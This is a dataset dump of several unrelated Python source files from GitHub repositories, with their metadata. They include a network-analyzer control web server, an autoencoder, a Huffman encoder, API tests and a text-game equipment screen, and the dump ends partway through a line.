getConnectorOpt(payload:str):\n print(f'Recebido payload: {payload}')\n\n # conectores = [\"opt1\",\"opt2\",\"opt3\"]\n conectores = PNA.queryConnector()\n ans = \"\"\n for con in conectores:\n ans = ans + f',{{\"name\":\"{con}\"}}'\n ans = ans[1:]\n print (ans)\n return SimpleApi.http_resource['html'] + f\"[{ans}]\".encode('utf-8')\n \ndef getCalkitOpt(payload:str):\n print(f'Recebido payload: {payload}')\n\n # calkit = [\"opt1\",\"opt2\",\"opt3\"]\n calkit = PNA.queryCalkit(payload)\n ans = \"\"\n for con in calkit:\n ans = ans + f',{{\"name\":\"{con}\"}}'\n ans = ans[1:]\n print (ans)\n return SimpleApi.http_resource['html'] + f\"[{ans}]\".encode('utf-8')\n\ndef getVisaAvailable(payload: str):\n print(f'Recebido payload: {payload}')\n ans:str = ''\n for visa in PNA.visaAvailable():\n ans = ans + f',{{\"name\":\"{visa}\"}}'\n ans = ans[1:]\n if (len(ans) == 0):\n ans = f'{{\"name\": \"Error loading visa devices\"}}'\n # print(ans)\n return SimpleApi.http_resource['json'] + f'[{ans}]'.encode('utf-8') + b'\\r\\n\\r\\n'\n\ndef postVisaConnect(payload: str):\n print(f'Recebido payload: {payload}')\n\n PNA.initiate(payload)\n error = PNA.queryError()\n if error == None:\n return SimpleApi.http_header['200']\n else:\n return SimpleApi.http_header['404'] + error.encode('utf-8')\n\n\ndef start_sparam(payload: str):\n print(f'Recebido payload: {payload}')\n\n data = json.loads(payload)\n\n try:\n # visa = data['visa']\n init_freq = float(data['init_freq'])\n init_freq_unit = data['init_freq_unit']\n end_freq = float(data['end_freq'])\n end_freq_unit = data['end_freq_unit']\n sweep_pt = int(data['sweep_pt'])\n power = int(data['power'])\n average = int(data['average'])\n # ports_number = data['ports_number']\n conn_1 = data['conn_1']\n ckit_1 = data['ckit_1']\n conn_2 = data['conn_2']\n ckit_2 = data['ckit_2']\n conn_3 = data['conn_3']\n ckit_3 = data['ckit_3']\n conn_4 = data['conn_4']\n ckit_4 = data['ckit_4']\n calibrate = data['calibrate']\n save = data['save']\n\n PNA.SParam.save = save\n\n if not (init_freq_unit in ['Hz', 'kHz', 'MHz', 'GHz'] and end_freq_unit in ['Hz', 'kHz', 'MHz', 'GHz']):\n return SimpleApi.http_header['400']\n\n except:\n return SimpleApi.http_header['400']\n\n \n if (init_freq_unit == 'Hz'): pass\n elif (init_freq_unit == 'kHz'): init_freq *= 1000\n elif (init_freq_unit == 'MHz'): init_freq *= 1000000\n elif (init_freq_unit == 'GHz'): init_freq *= 1000000000\n PNA.SParam.freq_start = init_freq\n\n if (end_freq_unit == 'Hz'): pass\n elif (end_freq_unit == 'kHz'): end_freq *= 1000\n elif (end_freq_unit == 'MHz'): end_freq *= 1000000\n elif (end_freq_unit == 'GHz'): end_freq *= 1000000000\n PNA.SParam.freq_stop = end_freq\n\n PNA.SParam.sweep_points = sweep_pt\n PNA.SParam.amplitude_dB = power\n PNA.SParam.average = average\n\n try:\n # TODO: this congigure function could be simplified but testing is needed\n PNA.SParam.configure(num=1, name='gain', meas='S21')\n PNA.SParam.configure(num=2, name='InputRL', meas='S11')\n PNA.SParam.configure(num=3, name='loss', meas='S12')\n PNA.SParam.configure(num=4, name='OutputRL', meas='S22')\n\n if calibrate: \n PNA.SParam.guided_calibration(\n connectors=[conn_1, conn_2, conn_3, conn_4], \n calkits=[ckit_1, ckit_2, ckit_3, ckit_4])\n # TODO: this function still requires waaaay much work to interact with the webpage - > code 100?\n\n except Exception as e:\n return SimpleApi.http_header['417'] + str(e).encode('utf-8')\n \n if PNA.error == None:\n return SimpleApi.http_header['200']\n else:\n return SimpleApi.http_header['404'] + PNA.error.encode('utf-8')\n\ndef last_img (payload:str):\n print(f'Recebido payload: {payload}')\n\n try:\n # PNA.ComPt.last_image = 'web-pages/imagem.webp' # TODO: debug line\n with open(PNA.ComPt.last_image, 'rb') as file:\n return SimpleApi.http_resource['png'] + file.read()\n except: return SimpleApi.http_header['404']\n\n\ndef getCalStep (payload:str):\n print(f'Recebido payload: {payload}')\n\n try:\n ans = PNA.SParam.cal_step()\n print(PNA.SParam.total_steps)\n print(PNA.SParam.current_step)\n if PNA.error: \n return SimpleApi.http_header['404'] + PNA.error.encode('utf-8')\n\n return SimpleApi.http_resource['json'] + ans.encode('utf-8')\n except Exception as e: return SimpleApi.http_header['404'] + str(e).encode('utf-8')\n\ndef start_compt(payload: str):\n print(f'Recebido payload: {payload}')\n\n data = json.loads(payload)\n\n try:\n # visa = data['visa'] # TODO: check if a sesssion to the instrument is active, if not, create one. For now, reload the page\n freq = float(data['freq'])\n freq_unit = data['freq_unit']\n average = int(data['average'])\n start_pow = int(data['start_pow'])\n stop_pow = int(data['stop_pow'])\n offset = float(data['offset'])\n\n if not (freq_unit in ['Hz', 'kHz', 'MHz', 'GHz']):\n return SimpleApi.http_header['400']\n except Exception as e:\n return SimpleApi.http_header['400']\n\n if (freq_unit == 'Hz'): pass\n elif (freq_unit == 'kHz'): freq *= 1000\n elif (freq_unit == 'MHz'): freq *= 1000000\n elif (freq_unit == 'GHz'): freq *= 1000000000\n\n PNA.ComPt.frequency = freq\n PNA.ComPt.average = average\n PNA.ComPt.start_power = start_pow\n PNA.ComPt.stop_power = stop_pow\n PNA.ComPt.offset = offset\n PNA.ComPt.frequency = freq\n\n try:\n PNA.ComPt.sweep_power()\n PNA.ComPt.parameter_config()\n PNA.ComPt.plot_data()\n except Exception as e:\n return SimpleApi.http_header['417'] + str(e).encode('utf-8')\n\n if (PNA.error == None):\n return SimpleApi.http_header['200']\n else:\n return SimpleApi.http_header['400'] + str(PNA.error).encode('utf-8')\n\n\nif __name__ == '__main__':\n server = SimpleApi()\n\n # GUI resources\n server.configure_endpoints('GET', '/', start_html)\n server.configure_endpoints('GET', '/style.css', style_css)\n server.configure_endpoints('GET', '/sparam', SParamCal_html)\n server.configure_endpoints('GET', '/compt', ComPt_html)\n server.configure_endpoints('GET', '/last_img', last_img)\n\n # VISA endpoints\n server.configure_endpoints('GET', '/visaAvailable', getVisaAvailable)\n server.configure_endpoints('POST', '/connectTo', postVisaConnect)\n server.configure_endpoints('GET', '/connector', getConnectorOpt)\n server.configure_endpoints('POST', '/calkit', getCalkitOpt)\n\n # Start function\n server.configure_endpoints('POST', '/start_sparam', start_sparam)\n server.configure_endpoints('GET', '/cal_step', getCalStep)\n server.configure_endpoints('POST', '/start_compt', start_compt)\n\n\n server.begin_workers()\n \n\n while not SimpleApi.shutdown_requested:\n time.sleep(1)\n\n# TODO: error handling from visa to UI\n# TODO: test development flag to ease testing","repo_name":"lucaaamaral/PNA-X","sub_path":"PNA-X.py","file_name":"PNA-X.py","file_ext":"py","file_size_in_byte":9162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15961215178","text":"from Solution import Solution\n\n\ndef main():\n\n testInput = [1, 2, 3, 4] # Output: [24, 12, 8, 6]\n # testInput = [-1, 1, 0, -3, 3] # Output: [0, 0, 9, 0, 0]\n\n # instantiate Solution class\n solution = Solution()\n\n answer = solution.productExceptSelf(testInput)\n\n print(f\"Products of each array element except self: {answer}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tkinneen/leetcodeProblems","sub_path":"Problem_238_Product_Of_Array_Except_Self/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25808990443","text":"import tqdm\nimport torch\nimport wandb\n\nfrom os.path import join, exists\nfrom torch import nn\nfrom torch.utils.data import DataLoader\n\n\nclass Autoencoder(nn.Module):\n def __init__(\n self,\n input_dim: int = 10,\n code_dim: int = 3,\n save_data_dir: str = \"\",\n save_model_name: str = \"\",\n load: bool = False,\n ):\n super().__init__()\n self.save_data_dir = save_data_dir\n self.save_model_name = save_model_name\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.init(input_dim, code_dim)\n self.to(self.device)\n if load:\n self.load()\n\n def init(self, input_dim: int, code_dim: int):\n self.input_dim = input_dim\n self.code_dim = code_dim\n self.encoder = nn.Sequential(\n nn.Linear(input_dim, 128),\n nn.ReLU(True),\n nn.Linear(128, 64),\n nn.ReLU(True),\n nn.Linear(64, 12),\n nn.ReLU(True),\n nn.Linear(12, code_dim),\n )\n self.decoder = nn.Sequential(\n nn.Linear(code_dim, 12),\n nn.ReLU(True),\n nn.Linear(12, 64),\n nn.ReLU(True),\n nn.Linear(64, 128),\n nn.ReLU(True),\n nn.Linear(128, input_dim),\n nn.Tanh(),\n )\n\n def load(self):\n if not exists(join(self.save_data_dir, self.save_model_name)):\n return\n payload = torch.load(join(self.save_data_dir, self.save_model_name))\n self.init(payload[\"input_dim\"], payload[\"code_dim\"])\n self.load_state_dict(payload[\"model\"])\n self.eval()\n\n def save(self, model: nn.Module):\n payload = {\n \"model\": model.state_dict(),\n \"input_dim\": self.input_dim,\n \"code_dim\": self.code_dim,\n }\n torch.save(payload, join(self.save_data_dir, self.save_model_name))\n\n def forward(self, x):\n x = self.encoder(x)\n x = self.decoder(x)\n return x\n\n def train_encoder(\n self,\n dataloader: DataLoader,\n train_epochs: int = 250,\n learning_rate: float = 1e-3,\n weight_decay: float = 1e-5\n ) -> None:\n model = self.to(self.device)\n criterion = nn.MSELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay)\n\n progress = tqdm.tqdm(total=train_epochs)\n wandb.config.update({\n \"epochs\": train_epochs,\n \"optimizer\": \"Adam\",\n \"learning_rate\": learning_rate,\n \"weight_decay\": weight_decay,\n })\n\n for _ in range(train_epochs):\n for data in dataloader:\n batch = data[0]\n batch = batch.to(self.device)\n\n output = model(batch)\n loss = criterion(output, batch)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n progress.update()\n progress.set_postfix(loss=\"{:.4f}\".format(loss.item()))\n wandb.log({\"train/loss\": loss.item()})\n\n self.save(model)\n","repo_name":"aleksa-sukovic/lldqn","sub_path":"src/models/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29030870697","text":"# -*- coding: utf-8 -*-\nimport responses\nimport requests\nfrom django.test import TestCase\nfrom events.yauth_contrib.auth import OAuth\n\n\nclass TestOAuth(TestCase):\n @responses.activate\n def test_should_use_authorization(self):\n responses.add(responses.GET, 'http://yandex.ru/test', body='')\n\n response = requests.get('http://yandex.ru/test', auth=OAuth('123'))\n self.assertEqual(len(responses.calls), 1)\n request = responses.calls[0].request\n\n self.assertEqual(response.status_code, 200)\n self.assertTrue('Authorization' in request.headers)\n self.assertEqual(request.headers['Authorization'], 'OAuth 123')\n\n @responses.activate\n def test_shouldnt_use_authorization(self):\n responses.add(responses.GET, 'http://yandex.ru/test', body='')\n\n response = requests.get('http://yandex.ru/test')\n self.assertEqual(len(responses.calls), 1)\n request = responses.calls[0].request\n\n self.assertEqual(response.status_code, 200)\n self.assertFalse('Authorization' in request.headers)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/yauth_contrib/test_auth.py","file_name":"test_auth.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43075350019","text":"import numpy as np\n# circle radius\nRADIUS = 80;\n\ndef getBorderLines(circles):\n lines = []\n l = len(circles)\n for i in range(l):\n for j in range(i + 1, l):\n #print (i,j)\n if checkIntersection(circles, i, j):\n a = circles[i]\n b = circles[j]\n lines.append(([a[0], a[1]], [b[0], b[1]]))\n return lines\n\n\ndef checkIntersection(circles, i, j):\n p1 = circles[i]\n p2 = circles[j]\n\n for z in range(len(circles)):\n if (z == i or z == j):\n continue\n\n p3 = circles[z]\n\n p1 = np.asarray(p1)\n p2 = np.asarray(p2)\n p3 = np.asarray(p3)\n\n d = abs(np.cross(p2-p1,p3-p1)/np.linalg.norm(p2-p1))\n \n if d < RADIUS:\n return False\n # if theres no intersection with other circles\n return True\n\n\n","repo_name":"HarvardURC/UAS-2018","sub_path":"pathPlan/myTheory/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2853778607","text":"input = open(\"Day14/input14.txt\").read().strip()\nallRows = input.split(\"\\n\")\nnoOfRows = len(allRows) - 1\npositions = set()\nsandHole = (500, 0)\n\n\ndef AddLine(p1, p2):\n if p1[0] == p2[0]:\n start = min(p1[1], p2[1])\n slut = max(p1[1], p2[1]) + 1\n for y in range(start, slut):\n newPoint = (p1[0], y)\n positions.add(newPoint)\n\n else:\n start = min(p1[0], p2[0])\n slut = max(p1[0], p2[0]) + 1\n for x in range(start, slut):\n newPoint = (x, p1[1])\n positions.add(newPoint)\n\n\nfor row in allRows:\n pos = row.split(\" -> \")\n # print(\"pos: \" + str(pos))\n rowPositions = []\n for r in pos:\n ps = r.split(\",\")\n p = (int(ps[0]), int(ps[1]))\n # print(\"p: \" + str(p))\n rowPositions.append(p)\n apa = zip(rowPositions, rowPositions[1:])\n\n for (p1, p2) in apa:\n AddLine(p1, p2)\nprint(\"positions: \" + str(positions))\n\n\ndef SandFallsDownRight(sandPosition):\n newPosition = (sandPosition[0] + 1, sandPosition[1] + 1)\n # print(\"SandFallsDownRight / newPosition: \" + str(newPosition))\n\n if newPosition[1] == maxYPosition:\n # The sand is falling into eternity, we are done.\n print(\"The sand is falling into eternity, we are done.\")\n positions.add(sandPosition)\n return True\n\n if newPosition not in positions:\n return SandFallsOneRowDown(newPosition)\n else:\n positions.add(sandPosition)\n # print(\"Sand stopped at: \" + str(sandPosition))\n return sandPosition != sandHole\n\n\ndef SandFallsDownLeft(sandPosition):\n newPosition = (sandPosition[0] - 1, sandPosition[1] + 1)\n # print(\"SandFallsDownLeft / newPosition: \" + str(newPosition))\n\n if newPosition[1] == maxYPosition:\n # The sand is falling into eternity, we are done.\n positions.add(sandPosition)\n return True\n\n if newPosition not in positions:\n return SandFallsOneRowDown(newPosition)\n else:\n return SandFallsDownRight(sandPosition)\n\n\ndef SandFallsOneRowDown(sandPosition):\n newPosition = (sandPosition[0], sandPosition[1] + 1)\n # print(\"SandFallsOneRowDown / newPosition: \" + str(newPosition))\n\n if newPosition[1] == maxYPosition:\n # The sand is falling into eternity, we are done.\n positions.add(sandPosition)\n return True\n\n if newPosition not in positions:\n return SandFallsOneRowDown(newPosition)\n else:\n return SandFallsDownLeft(sandPosition)\n\n\nmaxYPosition = max([y for (_, y) in positions]) + 2\n\nsandUnits = 1\nwhile SandFallsOneRowDown(sandHole):\n sandUnits += 1\n\nprint(\"sandUnits: \" + str(sandUnits))\n","repo_name":"d3katja/AdventOfCode2022","sub_path":"Day14/Uppgift14-2.py","file_name":"Uppgift14-2.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74928439761","text":"\"\"\"\r\nAuthor: Kevin Lew\r\nStudentID: 29677475\r\n\"\"\"\r\n\r\nimport sys\r\n\r\nclass Tree:\r\n \"\"\"Tree data structure\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\"Constructor for tree\r\n \"\"\"\r\n self.root = None\r\n self.nodes = []\r\n def add_node(self, node):\r\n \"\"\"adds node to tree for popping later in huffman\r\n\r\n Args:\r\n node (Node): appends Node to list of nodes\r\n \"\"\"\r\n self.nodes.append(node)\r\n def new_root(self, node):\r\n \"\"\"Sets root of tree to node\r\n\r\n Args:\r\n node (Node): new root node\r\n \"\"\"\r\n self.root = node\r\n def pop(self):\r\n \"\"\"pops node from list of nodes\r\n\r\n Returns:\r\n Node: Node that is popped from list of nodes\r\n \"\"\"\r\n return self.nodes.pop()\r\n def size(self):\r\n \"\"\"returns the amount of nodes in tree\r\n\r\n Returns:\r\n Int: amount of nodes in tree\r\n \"\"\"\r\n return len(self.nodes) \r\n def sort_nodes(self):\r\n \"\"\"sorts the nodes in tree by its frequency in descending order\r\n \"\"\"\r\n self.nodes.sort(reverse=True, key=self.takeFreq)\r\n def traverse(self, node, code, pointer):\r\n \"\"\"DFS traversal of tree and retrieves the code word for each symbol\r\n\r\n Args:\r\n node (Node): node being traversed\r\n code (Str): code word of symbol\r\n pointer (List): pointer for storing symbol and its respective code word\r\n \"\"\"\r\n if not node.is_leaf():\r\n left_edge = node.left()\r\n self.traverse(left_edge.get_end(), code+left_edge.get_bit(), pointer)\r\n right_edge = node.right()\r\n self.traverse(right_edge.get_end(), code+right_edge.get_bit(), pointer)\r\n else:\r\n pointer.append((node.get_code(), code))\r\n @staticmethod\r\n def takeFreq(node):\r\n \"\"\"Selects the frequency of occurrence used for sorting list of nodes\r\n Args:\r\n node (Node): node being sorted\r\n\r\n Returns:\r\n Int: frequency of occurence for symbol represented in node\r\n \"\"\"\r\n return node.get_freq()\r\n\r\nclass Node:\r\n \"\"\"Node data structure\r\n \"\"\"\r\n def __init__(self, w, freq):\r\n \"\"\"Constructor for Node\r\n\r\n Args:\r\n w (Str): symbol represented by node\r\n freq (Int): frequency of occurence of symbol in text\r\n \"\"\"\r\n self.code = w\r\n self.edges = []\r\n self.freq = freq\r\n def add_edge(self, e):\r\n \"\"\"adds edge to Node\r\n\r\n Args:\r\n e (Edge): edge to be added to node\r\n \"\"\"\r\n self.edges.append(e)\r\n def get_code(self):\r\n \"\"\"retrieves symbol represented by node\r\n\r\n Returns:\r\n Str: the symbol represented by node\r\n \"\"\"\r\n return self.code\r\n def get_freq(self):\r\n \"\"\"retrieves frequency of occurence of symbol\r\n\r\n Returns:\r\n Int: frequency of occurence of symbol in text\r\n \"\"\"\r\n return self.freq\r\n def left(self):\r\n \"\"\"Retrieves the left edge \r\n\r\n Returns:\r\n Edge: the left edge whose start is this node\r\n \"\"\"\r\n return self.edges[0]\r\n def right(self):\r\n \"\"\"Retrieves the right edge\r\n\r\n Returns:\r\n Edge: the right edge whose start is this node\r\n \"\"\"\r\n return self.edges[1]\r\n def is_leaf(self):\r\n \"\"\"checks if node is leaf node\r\n\r\n Returns:\r\n Bool: True for leaf, False for internal node\r\n \"\"\"\r\n if len(self.code) == 1:\r\n return True\r\n else:\r\n return False\r\n\r\nclass Edge:\r\n \"\"\"Edge data structure\r\n \"\"\"\r\n def __init__(self, bit, nodeS, nodeE):\r\n \"\"\"Constructor for Edge\r\n\r\n Args:\r\n bit (Str): bit of edge\r\n nodeS (Node): origin node\r\n nodeE (Node): destination node\r\n \"\"\"\r\n self.val = bit\r\n self.start = nodeS\r\n self.end = nodeE\r\n def get_bit(self):\r\n \"\"\"Retrieves bit of edge\r\n\r\n Returns:\r\n Str: bit of edge\r\n \"\"\"\r\n return self.val\r\n def get_end(self):\r\n \"\"\"Retrives destination node of edge\r\n\r\n Returns:\r\n Node: destination node of edge\r\n \"\"\"\r\n return self.end\r\n\r\ndef huffman(w):\r\n \"\"\"Compression algorithm using huffman's encoding\r\n\r\n Args:\r\n w (Str): string within text file\r\n\r\n Returns:\r\n List: list of symbols and its respective code word\r\n \"\"\"\r\n # find frequency of each symbol\r\n alphabet = []\r\n for _ in range(95):\r\n alphabet.append(0)\r\n for letter in w:\r\n alphabet[ord(letter)-32] += 1\r\n t = Tree()\r\n # add each unique symbol and its frequency to tree\r\n for i in range(len(alphabet)):\r\n if alphabet[i] > 0:\r\n t.add_node( Node(chr(i+32), alphabet[i]) )\r\n # create tree through grouping shown in huffman encoding\r\n while t.size() > 1:\r\n t.sort_nodes()\r\n node1 = t.pop()\r\n node2 = t.pop()\r\n temp = []\r\n # concatenate symbol of node1 and node2\r\n temp.append(node1.get_code())\r\n temp.append(node2.get_code())\r\n root = Node(\"\".join(temp), node1.get_freq()+node2.get_freq())\r\n t.add_node(root)\r\n t.new_root(root)\r\n edge1 = Edge(\"0\", root, node1)\r\n edge2 = Edge(\"1\", root, node2)\r\n root.add_edge(edge1)\r\n root.add_edge(edge2)\r\n # get code word for each unique symbol\r\n p = [[]]\r\n t.traverse(t.root, \"\", p[0])\r\n codes = p[0]\r\n return codes\r\n\r\ndef to_binary(n):\r\n \"\"\"Converts decimal to binary\r\n\r\n Args:\r\n n (Int): Decimal to be converted into binary\r\n\r\n Returns:\r\n List: each bit of binary representation stored as individual element in list\r\n \"\"\"\r\n b_str = []\r\n temp = []\r\n # perform decimal to binary conversion\r\n while n > 0:\r\n temp.append(str(n%2))\r\n n //= 2\r\n # reverse order of bits \r\n for i in range(len(temp)-1, -1, -1):\r\n b_str.append(temp[i])\r\n return b_str\r\n\r\ndef elias_omega(s):\r\n \"\"\"Encoding for binary strings using elias omega algorithm\r\n\r\n Args:\r\n s (Str): Binary string\r\n\r\n Returns:\r\n Str: Encoded binary string after using elias omega encoding\r\n \"\"\"\r\n l = len(s)\r\n #encoded = s\r\n encoded = [s]\r\n while l > 1:\r\n l_bin = to_binary(l-1) # previous length - 1 in binary representation\r\n l_bin[0] = \"0\" # flip first bit of length component\r\n encoded.append(\"\".join(l_bin))\r\n l = len(l_bin) # update l value\r\n res = []\r\n # reverse encoded\r\n for i in range(len(encoded)-1, -1, -1):\r\n res.append(encoded[i])\r\n return \"\".join(res)\r\n \r\ndef header(w):\r\n \"\"\"Creates header binary string using huffman and elias omega encoding\r\n\r\n Args:\r\n w (Str): String within text file\r\n\r\n Returns:\r\n Str: Binary string representing header \r\n \"\"\"\r\n header = []\r\n codes = huffman(w)\r\n codes.sort(key=takeFirst)\r\n header.append( elias_omega(\"\".join(to_binary(len(codes)))) ) # number of unique symbols\r\n for code in codes:\r\n ascii_w = \"\".join( to_binary(ord(code[0])) ) # 1) ascii representation of symbol\r\n code_len = elias_omega( \"\".join(to_binary(len(code[1]))) ) # 2) elias omega encoding of length of huffman code word\r\n header.append(ascii_w + code_len + code[1]) # 1 + 2 + huffman code word for symbol\r\n header = \"\".join(header)\r\n output_file(header)\r\n return header\r\n\r\ndef takeFirst(n):\r\n \"\"\"Takes first element to be sorted\r\n\r\n Args:\r\n n (List): sub list being sorted\r\n\r\n Returns:\r\n Any: first element in List\r\n \"\"\"\r\n return n[0]\r\n\r\ndef output_file(n):\r\n \"\"\"Writes header to output file\r\n\r\n Args:\r\n n (Str): Binary string represent header \r\n \"\"\"\r\n file = open(\"output_header.txt\", \"w\")\r\n file.write(n)\r\n file.close()\r\n\r\ndef open_file(filename):\r\n \"\"\"Reads string from text file\r\n\r\n Args:\r\n filename (Str): Name of file to be opened\r\n\r\n Returns:\r\n Str: String from text file\r\n \"\"\"\r\n file = open(filename, \"r\")\r\n s = file.read()\r\n file.close()\r\n return s\r\n\r\ndef main():\r\n s = open_file(sys.argv[1])\r\n header(s)\r\n #print(huffman(\"gray and miserable\"))\r\n #print(elias_omega(\"1\"))\r\n #print(header(\"aacaacabcaba\"))\r\n #print(header(s) == \"011110000111110001001000110001101001\")\r\n #print(len(\"1000000\"))\r\n #print(len(elias_omega(\"1000000\")))\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"hanfb/telecom_compression","sub_path":"header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":8561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34412457719","text":"#!/usr/bin/env python3\n\n# Requires maclookup to be installed.\n# to do that, run: sudo pip3 install maclookup\n# After that sign up at https://macaddress.io/ to get your free API key.\n\nfrom maclookup import ApiClient\n\ndef vendor(oui):\n client = ApiClient('Your API key') \n vend = client.get_vendor(oui)\n vend = str(vend.decode('utf-8'))\n return vend\n","repo_name":"och0Sec/Networking","sub_path":"get_vendor.py","file_name":"get_vendor.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29288093877","text":"import functools\nimport json\nimport unittest\n\nfrom faker import Faker\n\nfrom saas.library.python.api_mixins import JsonAPIException\nfrom saas.library.python.warden import warden_api\n\nfrom saas.library.python.common_functions.tests.fake import Provider as CommonProvider\nfrom saas.library.python.warden.tests.fake import Provider\n\n\nfake = Faker()\nfake.add_provider(CommonProvider)\nfake.add_provider(Provider)\n\n\nclass TestWardenAPI(unittest.TestCase):\n\n @staticmethod\n def __patch_warden_api(fake_response_data, fake_response_status_code):\n fake_response = fake.get_response(json.dumps(fake_response_data).encode(), fake_response_status_code)\n warden_api._session = fake.get_session(fake_response)\n\n def test_success_request(self):\n fake_response_data = {'key': 'value'}\n fake_response_status_code = 200\n\n self.__patch_warden_api(fake_response_data, fake_response_status_code)\n response_data = warden_api._make_request('get', 'test')\n\n self.assertEqual(response_data, fake_response_data)\n\n def test_error_200_request(self):\n fake_response_data = {'error': 'test-error'}\n fake_response_status_code = 200\n\n self.__patch_warden_api(fake_response_data, fake_response_status_code)\n with self.assertRaises(JsonAPIException) as context_manager:\n warden_api._make_request('get', 'test')\n\n self.assertEqual(context_manager.exception.error, fake_response_data['error'])\n self.assertEqual(context_manager.exception.status_code, fake_response_status_code)\n\n def test_error_400_request(self):\n fake_response_data = {'key': 'value'}\n fake_response_status_code = 400\n\n self.__patch_warden_api(fake_response_data, fake_response_status_code)\n with self.assertRaises(JsonAPIException) as context_manager:\n warden_api._make_request('get', 'test')\n\n self.assertEqual(context_manager.exception.error, JsonAPIException.DEFAULT_ERROR)\n self.assertEqual(context_manager.exception.status_code, fake_response_status_code)\n\n def test_functionality_methods(self):\n fake_response_data = {}\n fake_response_status_code = 200\n\n self.__patch_warden_api(fake_response_data, fake_response_status_code)\n\n methods_with_required_kwarg_names = (\n (warden_api.add_functionality, ('functionality',)),\n (functools.partial(warden_api.update_functionality, functionality_id='test'), ('functionality',)),\n (functools.partial(warden_api.delete_functionality, functionality_id='test'), None),\n )\n\n for method, kwarg_names in methods_with_required_kwarg_names:\n kwargs = {}\n if kwarg_names and 'functionality' in kwarg_names:\n kwargs['functionality'] = fake.get_functionality()\n response_data = method(**kwargs)\n self.assertEqual(fake_response_data, response_data)\n\n def test_components_methods(self):\n fake_response_data = {}\n fake_response_status_code = 200\n\n self.__patch_warden_api(fake_response_data, fake_response_status_code)\n\n methods = (\n warden_api.get_component,\n )\n\n for method in methods:\n response_data = method(component_name=fake.random_string(10))\n self.assertEqual(fake_response_data, response_data)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"saas/tests/test_api (3).py","file_name":"test_api (3).py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73355293521","text":"from game.equipment import EQUIPMENT_CATEGORIES, WEAPON\nfrom refs import END_OPT_C, OPT_C, Refs\nfrom text.screens.character_attributes.change_equip import get_equipment_box\nfrom text.screens.common_functions import item_page_list\nfrom text.screens.screen_names import BACK, CHANGE_EQUIP, CHANGE_EQUIP_ITEM\n\nINFO_WIDTH = 25\nSTATS_WIDTH = 10\nBOX_WIDTH = INFO_WIDTH + STATS_WIDTH + 7\nBOX_HEIGHT = 9\n\n\ndef get_screen(console, screen_data):\n display_string, _options = '', {}\n equipment_id, character_id, page_num = screen_data.split('#')\n page_num = int(page_num)\n equipment_id = int(equipment_id)\n character = Refs.gc.get_char_by_id(character_id)\n outfit = character.get_outfit()\n\n display_string += '\\n\\t'\n display_string += get_equipment_box(EQUIPMENT_CATEGORIES[equipment_id], outfit.items[equipment_id - WEAPON], 1).replace('\\n', '\\n\\t')\n\n items = Refs.gc.get_equipment(equipment_id)\n\n _options = {'0': BACK}\n if outfit.items[equipment_id - WEAPON] is not None:\n display_string += f'\\n\\t{OPT_C}1:{END_OPT_C} Unequip {outfit.items[equipment_id - WEAPON].get_name()}\\n'\n _options['1'] = f'confirm{CHANGE_EQUIP_ITEM}:{equipment_id}#{character_id}#0#none#none'\n\n display_string += '\\n'\n\n fail = '\\tYou have no matching equipment.\\n'\n ip_text, ip_options = item_page_list(2, f'{CHANGE_EQUIP_ITEM}:{equipment_id}#{character_id}', page_num, items, fail, '', get_equipment_item, page_num_first=False, size_check=2)\n\n display_string += ip_text\n _options.update(ip_options)\n\n if outfit.items[equipment_id - WEAPON] is not None:\n display_string += f'\\n\\t{OPT_C}0:{END_OPT_C} Keep Item\\n'\n else:\n display_string += f'\\n\\t{OPT_C}0:{END_OPT_C} Back\\n'\n return display_string, _options\n\n\ndef handle_action(console, action):\n if action.startswith('confirm'):\n equipment_id, character_id, page_num, item_id, item_hash = action.split(':')[1].split('#')\n item = None\n if item_id != 'none':\n item = Refs.gc.get_inventory().get_item(item_id, int(item_hash))\n character = Refs.gc.get_char_by_id(character_id)\n outfit = character.get_outfit()\n outfit.set_equipment(int(equipment_id), item)\n character.refresh_stats()\n console.set_screen(f'{CHANGE_EQUIP}:{character_id}', False)\n else:\n console.set_screen(action, False)\n\n\ndef get_equipment_item(equipment, index, current_text, page_name, page_num):\n durability = str(int(equipment.get_durability())) + ' / ' + str(int(equipment.get_current_durability()))\n string = f'\\n\\t{equipment.get_name()}'\n\n gap = 4\n string += f'\\n\\t\\t- Durability: {durability}'\n string += f'\\n\\t\\t- Score: ' + f'{int(equipment.get_score())}'.rjust(gap)\n string += f' - Value: ' + f'{int(equipment.get_value())}'.rjust(gap)\n string += f'\\n\\t\\t- HP: ' + f'{int(equipment.get_health())}'.rjust(gap)\n string += f' - MP: ' + f'{int(equipment.get_mana())}'.rjust(gap)\n string += f'\\n\\t\\t- Phy. Atk.: ' + f'{int(equipment.get_physical_attack())}'.rjust(gap)\n string += f' - Mag. Atk.: ' + 